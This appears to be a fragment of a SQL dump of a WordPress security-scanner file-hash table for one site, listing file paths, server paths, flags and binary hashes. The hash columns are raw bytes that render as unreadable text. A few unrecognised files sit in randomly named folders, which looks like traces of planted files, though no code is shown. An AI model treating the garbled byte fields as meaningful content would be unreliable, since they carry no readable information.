('<6\'l\'ڥ:ɻ','wp-includes/css/dist/notices/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style.min.css',0,'`upMZHN','`upMZHN','G}G#;&m1\0|6[bm!R','',0,'?'),
('<$4','wp-content/themes/twentytwentytwo/assets/images/icon-bird.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/icon-bird.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9	&G\"_','$yLtʁ9bzDLBt','',0,'?'),
('</GŞ@̿=','wp-includes/css/dist/edit-site/posts-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' 9{?L\0O','e*&}>X3ާMhmǫݠ囊','',0,'?'),
('<FPz22~','wp-includes/js/imgareaselect/imgareaselect.css','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/imgareaselect.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}(()3󵕯','q!ݿJӇi\nE5s!\r%','',0,'?'),
('<YD-A\'|)','wp-content/plugins/wordfence/views/user/disabled-application-passwords.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/user/disabled-application-passwords.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%tZ)♟V','G͌rA{\r`\rY}~hJd','',0,'?'),
('<_-|@iT','wp-content/themes/twentytwentyone/assets/sass/04-elements/blockquote.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/blockquote.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UI<I&׸j','*\Z`Q_{ITC_Aaf2','',0,'?'),
('<|q|xܲ\\zZ{','wp-includes/blocks/page-list/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I-e\"`Cʰo','xx_̎d㟢`V*u','',0,'?'),
('<!}KA,\ry2','wp-content/themes/twentytwentyone/template-parts/header/site-header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ab}f*{\n','ׂ[3,=Yӻnz;LQS1\\|5ы@','',0,'?'),
('<9uj!$','wp-admin/css/install.css','/home/trevorkl/trevorklee.com/wp-admin/css/install.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':|>o7jڡ}','uři==SbVKL&pv6','',0,'?'),
('<UI?$W','wp-content/themes/twentytwentyfive/styles/03-dusk.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/03-dusk.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>fE)l',')TW@rd%pZCBMpnۆc5','',0,'?'),
('<ŐʤG߉9','wp-content/themes/twentytwentytwo/inc/patterns/general-video-header-details.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-video-header-details.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','86y©','obsݐıߥ.m0\'~,%c&','',0,'?'),
('<nҠܫ','wp-includes/SimplePie/src/Cache/BaseDataCache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UU:ǙNDP','0ߜAz\nesJN3L(lђ\"','',0,'?'),
('<ޤlK`i','wp-includes/blocks/embed/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AgL/Оg\n','t#`B!I~{^!y|oâF','',0,'?'),
('<hj	44a2','wp-includes/js/utils.js','/home/trevorkl/trevorklee.com/wp-includes/js/utils.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2![pNI5','iII4*{FZanǠ)J,T&g','',0,'?'),
('<u꿖\ZܜY^','wp-includes/js/tinymce/plugins/wpeditimage/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j<]@	4','\r]\"!\'sg=zķQ2NK','',0,'?'),
('=Jǰja}LIZ','wp-includes/sodium_compat/src/Core/Base64/UrlSafe.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/UrlSafe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nFj\0g','JLwIt~מ\ZF]PfsPw?','',0,'?'),
('=f;Vdl\"','wp-admin/css/code-editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/code-editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z.y^Ji*','{ I^`\0<<','',0,'?'),
('=A3Zi-','wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nsn1MQ(f','rJ6	Y;U&4=5KQia','',0,'?'),
('=F_j1r.','wp-includes/Requests/src/Transport.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r\Z\0D\'','bKt1#ֱfEX{KGGMг','',0,'?'),
('=S6aXo,2','wp-content/plugins/wordfence/vendor/autoload.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7ln_pBH5!5=(','3-g,ӌ=$g7Ӫ:V10h','',0,'?'),
('=fuA><Th@','wp-includes/js/jquery/ui/progressbar.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/progressbar.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dya%xa|','M\\ص28DϋO\0e4','',0,'?'),
('=Bl)I','wp-content/themes/twentytwentytwo/inc/patterns/page-about-links.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-links.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ҟ&;$pt|ˤ','2~愓5K=f.4@}lWΙ','',0,'?'),
('=k[4 =','wp-includes/comment-template.php','/home/trevorkl/trevorklee.com/wp-includes/comment-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɢ~TM4#?-Df','>XfK\00lR&#7$i26','',0,'?'),
('=Ө\0E','wp-includes/blocks/verse/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/verse/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eʰAT[','7;(@{\n>4	3-.+','',0,'?'),
('=QKI}U峫ib','wp-includes/blocks/accordion-item/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?ZQk:^8','.:q-Adc(>','',0,'?'),
('=;{e65','wp-includes/js/jquery/ui/effect-pulsate.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-pulsate.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(*&b','A^}>t:,}1','',0,'?'),
('=/%\0L0','wp-includes/Text/icatnpe/yrpuihc/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('=އyuBd>\Z݆Z','wp-content/themes/twentytwentyfive/patterns/testimonials-6-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-6-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݔ\'ɓJyMv','ujǒ4g4\nN	:6e','',0,'?'),
('=噄\nAK(l','wp-includes/js/dist/keyboard-shortcuts.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/keyboard-shortcuts.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' .ΎC̺tGs$','q5%6:۬<IH%k6A','',0,'?'),
('=`G`ǒv;','wp-content/themes/twentytwentyfour/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u͉M','\0>ts&f;_lw}ȟ','',0,'?'),
('=a0&','wp-includes/js/jquery/ui/effect-slide.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-slide.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/1ɿ','<V&g򎪆f:Saʥl','',0,'?'),
('>[ g3d','wp-includes/blocks/spacer/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&PG>uY7','s<f7\'7$`~H\r|J@','',0,'?'),
('>5ˏ.y2Q[ڣ1','wp-includes/blocks/block.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݮhOl','s$P/P.]KeV\"Uxf','',0,'?'),
('>GOjPlB','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/cast_to_int.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/cast_to_int.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$]\\','ؚx\"o*I\nQjT(G\Z.\Z','',0,'?'),
('>I\'@`kg܂R','wp-content/themes/twentytwentythree/templates/blog-alternative.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/blog-alternative.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=\r/Ns','a06b)~=~4vH[Bf','',0,'?'),
('>hЩXX*v1','wp-includes/theme-compat/comments.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UҴ\0','z;h| txȘ 碉\\bd!ori>jr','',0,'?'),
('>ql+m\05Ħ\"^','wp-includes/js/customize-preview.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KTjl6Rw','$nKXa5);s2aT','',0,'?'),
('>uʸ!4N2','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fBBc-AMP6lQ.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fBBc-AMP6lQ.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',;L\'dee','+GT}m)*[c5ZN-v>','',0,'?'),
('>v]{rq6x','wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yJkԌ`M\"r',';ԸPI@?56tkN8@=4','',0,'?'),
('>puL3Ij^bo','wp-includes/blocks/comments-pagination/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nUlQo7',';)&4BIHE1DΤ*Ӗ','',0,'?'),
('>ot+','wp-includes/blocks/post-terms/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_f\'z<+','i|b)ұ2HS$Cm,T6','',0,'?'),
('>X\rbڟ$W','wp-includes/class-wp-image-editor-gd.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-image-editor-gd.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2 {1z#','eq}eq!CUIǘw7\0','',0,'?'),
('>%H','wp-includes/blocks/template-part/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','74͞K^(ӑ9','S1>ۄfIZZ3Pi*','',0,'?'),
('>\nqg/','wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e	GBRR(j',' ywD+`ӱPJEvN=','',0,'?'),
('>Gf@Tម;D','wp-includes/blocks/cover/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AǯDHx\r','U~8r3}L&<oST.2%','',0,'?'),
('>l0srn','wp-includes/SimplePie/src/Content/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('>M~;Oo-I$0','wp-content/themes/twentynineteen/fonts/NonBreakingSpaceOverride.woff','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/fonts/NonBreakingSpaceOverride.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f!<\ryS','\"-dNN63P`ʜ`!ڬ	q','',0,'?'),
('>Rۨ@o\0,9','wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php',0,'16-c\r','16-c\r','l]V0D݄Uz;c=Z','',0,'?'),
('?WZBDN13','wp-includes/blocks/audio/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f_04a','s8!20ڠ/%Q?Sv','',0,'?'),
('?p|Ro','wp-includes/blocks/separator/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' tEo?@{','kL#Ga^	,І\rF\'\ng:}FLz','',0,'?'),
('?U\'_l.p','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/X25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ҐYW F','y^Y\\}6_ڈB-,j93B','',0,'?'),
('?Yvq_ۮXO','wp-content/plugins/wordfence/images/sort_both.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_both.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%BQxSV.D','6\"@Xg\'W7wgJq','',0,'?'),
('?]P.12b','wp-includes/js/tinymce/plugins/textcolor/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/textcolor/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%i3f','(ELb[K!sӊnĲ','',0,'?'),
('?gbq\0X4,>','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-a.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-a.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^R4TXfĹ8','\\ĉ 5\r\Z!t81\0==Y[;$+','',0,'?'),
('?hh:z͏qZiV','wp-includes/blocks/post-author-biography.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y:j\\{Ls','2 ǜMu)%A_k2z','',0,'?'),
('?A?+ ^	g','wp-content/plugins/header-footer-code-manager/css/style-admin.css','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/css/style-admin.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F<','وd@F>h.˵ݝ]','',0,'?'),
('?=@M$#P7','wp-includes/js/dist/html-entities.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/html-entities.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!BhfB-','5LW/XGPL\\\'','',0,'?'),
('?C!Ӳ','wp-content/themes/twentynineteen/sass/modules/_accessibility.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_accessibility.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K^&#-~K^','cmg%e5ٷ>[$VpL(-\r,r','',0,'?'),
('?ɹ/5aԺekF\n','wp-includes/widgets/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/widgets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('?j_<	hI5^','wp-content/plugins/wordfence/js/wfpopover.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfpopover.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R:RF_CFR','lݛ92̋!f/Ř!RGO8','',0,'?'),
('?JA\Z','wp-includes/images/media/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/images/media/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('?b>s:|t1#x','wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nvX T6&j','lQ\Zɬy;#^#','',0,'?'),
('?\Z&~-,f8','wp-content/themes/twentytwentyfive/assets/images/vash-gon-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/vash-gon-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','س*`mҋ_','(Vod\r%D^|\'8o','',0,'?'),
('@\08(<:t#1S','wp-includes/css/dist/block-editor/default-editor-styles.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/default-editor-styles.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b\ZTw_b','HUw؃n׭AÑe','',0,'?'),
('@B˱G','wp-includes/blocks/quote/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@!aie\\1}ݱz','wp-content/themes/twentytwenty/assets/js/skip-link-focus-fix.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/skip-link-focus-fix.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q#ٓztHۆ','%)t[H>|빛AtMҒn','',0,'?'),
('@&編}Au','wp-includes/Requests/src/Exception/Http/Status413.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status413.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','е$=WfaPw','חrMHݜy4߮8J','',0,'?'),
('@G )7x=A','wp-content/themes/twentytwentyone/assets/sass/05-blocks/audio/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/audio/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"iqoh	?','ڴaWtĉq)N*x*q;T0','',0,'?'),
('@VK$~`*+c0','wp-includes/block-patterns/query-medium-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-medium-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<UVn','#l.Cv*;!4f','',0,'?'),
('@V$K<1*','wp-includes/css/jquery-ui-dialog.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`АY{&\0','i4K3TS7m\0b\'95<_#$','',0,'?'),
('@h볹3אz2zl','wp-includes/css/dist/edit-post/classic.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hi(+p]8	ĺ','	6lͩ+T\n݃Bf]1','',0,'?'),
('@k/I?T,','wp-includes/js/jquery/ui/datepicker.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/datepicker.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-̵.WA^','܍\"֙#l8I.\n>f','',0,'?'),
('@̘9#Ly(','wp-includes/images/arrow-pointer-blue.png','/home/trevorkl/trevorklee.com/wp-includes/images/arrow-pointer-blue.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wb·*L[','fbZD1.Vaw4l?pG^{','',0,'?'),
('@CE\'O','wp-includes/css/dist/widgets/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q	D\r',')w)\0`}o>~AsꪦD`(','',0,'?'),
('@XD\n\nRNt','wp-admin/images/menu.png','/home/trevorkl/trevorklee.com/wp-admin/images/menu.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r9#dY`	','lIE/(p\0pnT-Oz\"],=`','',0,'?'),
('@ȯ&Oo','wp-content/plugins/wordfence/lib/noc1.key','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/noc1.key',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9eb\0PO','_ujP-KOAܫ','',0,'?'),
('@^7=v0amo4','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P^gWp','v@g qZ֝MP{lŁyᖧW','',0,'?'),
('@L߯7٭kقE','wp-content/plugins/wordfence/lib/menu_tools_twoFactor.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_twoFactor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VT\0;AnLݢ','JaK$#vMΏc','',0,'?'),
('@;5XVOZ','wp-admin/images/mask.png','/home/trevorkl/trevorklee.com/wp-admin/images/mask.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g~\"J䩎','/<sԡ)\'.1jknK9Q','',0,'?'),
('@mOW','wp-admin/admin-header.php','/home/trevorkl/trevorklee.com/wp-admin/admin-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J3)BGCE','ܔ5 G~כ\0WZoӃ5\0','',0,'?'),
('@tR>GHhס','wp-admin/css/revisions-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/revisions-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-n5J],H\Zv',';Z͠lOo\":#\ZҐ>f','',0,'?'),
('@j%\Zuwt','wp-includes/js/dist/undo-manager.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/undo-manager.js',0,'/0?P.`DT','/0?P.`DT','ЛIWvB/_Ù=!ՁҔ~','',0,'?'),
('@h','wp-admin/js/widgets/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@sZ^qv','wp-admin/images/media-button-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/media-button-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#WI\\?','<:tnkbwi&	R\Z','',0,'?'),
('@+T΄\'٤','wp-includes/ID3/module.audio.flac.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio.flac.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@pL@E{','ּ3t46$ay!֦ȓڲh#{','',0,'?'),
('A`rĸɥv-S','wp-content/themes/twentytwentyfive/patterns/pricing-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/pricing-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SLM&f+m\'','p*dL_!/ӣ؟4','',0,'?'),
('AlA~i^uØ','wp-admin/css/customize-nav-menus.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-nav-menus.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3SD+k.','3>d\ZXQ]8ǅ&u','',0,'?'),
('AE[`','wp-includes/js/thickbox/thickbox.js','/home/trevorkl/trevorklee.com/wp-includes/js/thickbox/thickbox.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5(Or[_ب$/','yEV\nh\ZCe~l3JD97roV\rd','',0,'?'),
('A@\nװK/G7ޞ','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPreview.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPreview.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fø%:umHoT','Ldd_R8<M\"Fi|GD\'','',0,'?'),
('A+~/Ję4$Y*','wp-includes/block-supports/spacing.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/spacing.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0m%wz','լ5+\'-KKzhV \\MMF3PW','',0,'?'),
('A/hͳ$BQ:','wp-content/themes/twentynineteen/single.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/single.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'e`|P','d3\n^Қ	-H6+1$x','',0,'?'),
('A;ت\Zܦz','wp-includes/sodium_compat/lib/constants.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/constants.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{#l>m','ٹmc(l\'mtˣ[gW','',0,'?'),
('AK<jgsr','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l+{z@EQu',' Q=ں|qͰ^TDAp( dz','',0,'?'),
('ATyxhl|4+n','wp-content/themes/twentytwenty/assets/css/editor-style-classic-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-classic-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/V:7A7`r','~\nz![QcCXuK|O\nftB','',0,'?'),
('AW5ILz~O#B\"','wp-includes/html-api/gcqoh1b/ecjxzqp/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('A^\\\0E%{','wp-content/themes/twentytwentytwo/inc/patterns/header-small-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-small-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p)1ft~%','T㍳cP^\0P\nig2Ռ;!!]','',0,'?'),
('A_e.阧\'B\\','wp-includes/blocks/navigation/view-modal.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view-modal.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9NR>.','/W\"\r_W@F|=','',0,'?'),
('Aa@JŁ','wp-includes/js/tinymce/plugins/colorpicker/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/colorpicker/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' Cȭ?d{׭V','BR\0!䄚Q\'5w','',0,'?'),
('Asvg4U','wp-includes/js/dist/nux.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/nux.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',j<b_h&yպ','f^yiOREyxc9FS','',0,'?'),
('A{& V>Νs','wp-admin/css/login-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/login-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.:Mۀ=%$Wi','Y3l%f\'Q[]y\'d|{b','',0,'?'),
('A8V,_OX4','wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v6<C=\Z7c','J>r)<pYJ(Dl0','',0,'?'),
